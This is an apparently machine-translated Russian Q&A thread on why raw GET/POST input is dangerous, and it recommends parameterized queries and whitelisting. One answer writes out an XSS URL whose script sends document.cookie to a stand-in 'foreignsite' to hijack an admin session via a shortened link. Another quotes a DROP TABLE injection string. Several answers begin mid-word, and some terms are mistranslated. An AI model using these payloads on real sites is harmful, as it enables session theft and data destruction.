Каковы уязвимости в прямом использовании GET и POST?

я хочу знатькаковы уязвимости при непосредственном использовании переменных GET и POST. то есть без функции обрезки и addlashes и escape-строки mysql что-то в этом роде.

Мой вопрос

Что еще мы должны позаботиться о во время игры с GET и POST.

Какие бывают виды атак? как SQL инъекция?

 Jess19 авг. 2009 г., 21:32
Общее правило: «Не доверяйте вводу пользователя». Все, что приходит от пользователя в любой форме, должно быть проверено на безопасность.

Ответы на вопрос(8)

напрямую отправленные пользователем. Вы получаете все это без каких-либо проверок или проверок между пользователем и вашей программой. Даже если вы должны были проверить форму, которая должна исходить от данных, злоумышленник может вручную создать запрос с любыми данными, которые он хочет. Таким образом, вы всегда должны обрабатывать данные запроса как ненадежный пользовательский ввод.

Существует ряд атак, в которых кодер забывает, что данные запроса ненадежны, но наиболее известным является внедрение SQL. Основной причиной внедрения SQL-кода является построение запроса путем объединения строк вручную, некоторые из которых являются ненадежным пользовательским вводом. Это означает, что вы указываете своей базе данных выполнять ненадежный пользовательский ввод.

Наивным решением для внедрения SQL-кода является проверка входных данных и последующее объединение их в строку запроса, но это тоже плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы ее неправильно используете - или логика глючит - тогда вы снова подвергаетесь атакам.

Правильное решение состоит в том, чтобы отделить ваш запрос от данных, которые он содержит. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит, он не пригоден для использования. Наиболее распространенная идиома (без определенного языка):

myDB.query («выберите * из материала, где id =?», [42]);

Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса построена из полностью доверенных данных, а ненадежные данные отделены. В худшем случае этот подход, применяемый к неправильному вводу, может привести к неверным данным, а не к неправильной команде.

Такой подход к предотвращению внедрения SQL-кода подчеркивает основной принцип, применимый ко всем видам атак данных запроса: данные запроса не ваши и не безопасны. При обработке любого пользовательского ввода, включая данные запроса, всегда предполагайте, что оно исходит от злоумышленника с глубокими знаниями вашей системы. Это может показаться параноиком, но это держит вас в безопасности.

Решение Вопроса

Любые данные, поступающие извне системы (включая файлы cookie в случае веб-приложений):

Почти все уязвимости сводятся к тому, что «пользователь может запускать любой код по своему усмотрению в контексте, в который вы передаете свои данные».

Если вы передадите его в базу данных SQL, они могут запустить любой SQL, который им нравится.Если вы передадите его в HTML-документ, они могут добавить любую разметку, которая им нравится (включая JavaScript)Если вы передадите его системной оболочке, они могут выполнить любую системную команду, которая им нравится.Если вы откроете файл с выбранным именем, они смогут открыть любой файл, который им нравится. и т.п.

Вам нужно подумать о том, что вы делаете с данными. Поиск списка возможных вещей, которые могут пойти не так, как надо, если принять нечистые данные в любой системе в мире, не даст исчерпывающего списка.

И в качестве отступления: забудьте о добавлении косой черты (это не эффективно), забудьте mysql_real_escape (слишком легко ошибиться с ним). Используйте параметризованные запросы:Как я могу предотвратить внедрение SQL в PHP?

 Grant Wagner19 авг. 2009 г., 20:58
+1. Не только ПОЛУЧИТЬ, ПОЧТУ и печенье. Даже рефери может доставить вам неприятности:hanselman.com/blog/...

нженерии

Предположим, у вас есть простое PHP-приложение, которое использует сессии для отслеживания пользователей. И у него есть своего рода интерфейс администратора, где пользователи с более высокими привилегиями могут, например, редактировать контент.

Предположим, что вы вошли в систему как администратор этого сайта и что внутри этого приложения есть файл request.php со следующим фрагментом кода.

echo $GET['action'];

И теперь кто-то обнаруживает это, строит следующий URLHTTP: //yourapp/request.php действие =document.location.href =»HTTP: // foreignsite с =«+ Document.cookie

Затем этот кто-то добавляет этот URL к tinyurl.com, что сокращает его до чего-то вродеhttp://tinyurl.com/x44534Затем он отправляет вам электронное письмо с указанием «эй, посмотри на это, ты можешь найти это полезным».

Вы нажимаете на ссылку, tinyurl.com переводит короткий URL-адрес обратно в длинный, перенаправляет ваш браузер на него, ваш request.php с радостью выводит Javascript из запроса, ваш браузер видит его, выполняет его и, как результат, человек кто бежитHttp: // foreignsite получает все ваши куки.

Затем ему просто нужно вставить эти значения cookie в свой браузер, и вот, у него есть мгновенный доступ к интерфейсу администратора вашего сайта. Потому что он получил твое сессионное печенье.

Это описало простейшую возможную атаку XSS, она действительно упрощенная, вероятно, не будет работать в реальной жизни, но, надеюсь, вы поняли основную идею, как она работает.

 Anti Veeranna19 авг. 2009 г., 21:05
хм, ну, SO вынул теги сценария как меру защиты XSS :) в любом случае, значение параметра action должно быть окружено тегами сценария, тогда это имеет больше смысла.

чем просто «получить» или «пост». Все зависит от программирования, которое вы сделали для их поддержки. Если вы просто обслуживаете статическую HTML-страницу, не так много уязвимостей. Если, с другой стороны, вы устанавливаете и изменяете данные с помощью запросов get, уязвимости могут быть бесконечными, просто посмотрите, как бот Google удаляет данные из мест, которые использовали «get» для отправки данных.

Все зависит от того, для чего вы используете данные, а уязвимые места ограничены в получении или установке. Санитарно-гигиенические условия.

нтами. $ _SERVER, $ _POST, $ _GET и т. Д.

любой пользовательский ввод должен рассматриваться как вредоносныйнезависимо от того, насколько вы можете чувствовать себя в безопасности.

Разработчики думают о защите кода в то время, когда они пишут его, и когда они вносят изменения, тогда как хакеры думают о том, чтобы испортить этот код всякий раз, когда они решают взломать его, что может произойти сегодня, завтра или через два года. То, что могло показаться совершенно безопасным в то время, когда код был написан, может оказаться пригодным для использования в более поздний момент.

По сути, все входные данные должны быть тщательно отфильтрованы, изучены и санированы независимо от того, для чего они используются в любой момент времени. Кто-то может пропустить санацию части пользовательского ввода, потому что «она не будет использоваться для чего-либо, что может причинить вред», а затем через 11 месяцев кто-то в команде решит использовать предположительно санированные данные, которые были назначены переменной, в запросе SQL или системном вызове exec, и вся система дует.

То, что должно быть сделано:

белый список вместо черного списка - знать, какие типы ввода вы ожидаете, и соответственно конвертировать пользовательские данные. Идентификаторы обычно целые числа, поэтому безопасно преобразовать все переданные пользователем идентификаторы в целые числа. - знать, когда вы ожидаете небольших объемов данных, а когда ожидаете больших. Личные имена обычно относительно короткие и не содержат цифр "1 '; DROP TABLE клиентов;" это не настоящее имя, и вы можете знать это без добавления косой черты.

тогда занесите в чёрный список на всякий случай - применить стандартную логику экранирования ко всем данным, внесенным в ваш белый список, на всякий случай

затем отфильтруйте и проверьте еще - пока вы не чувствуете себя в безопасности

яете» ее, не пропуская ее через какой-то фильтр, вы открываете себя для инъекционных атак. SQL-инъекция, очевидно, очень распространенный случай, но если вы делаете какие-либоeval() С этими данными (на языке программирования или в любой другой базе данных или в интерпретируемой ситуации, включая передачу HTML обратно в браузер для интерпретации на клиенте) злоумышленники могут создать входные данные, которые заставят ваше приложение выполнять непреднамеренные действия.

Ваш ответ на вопрос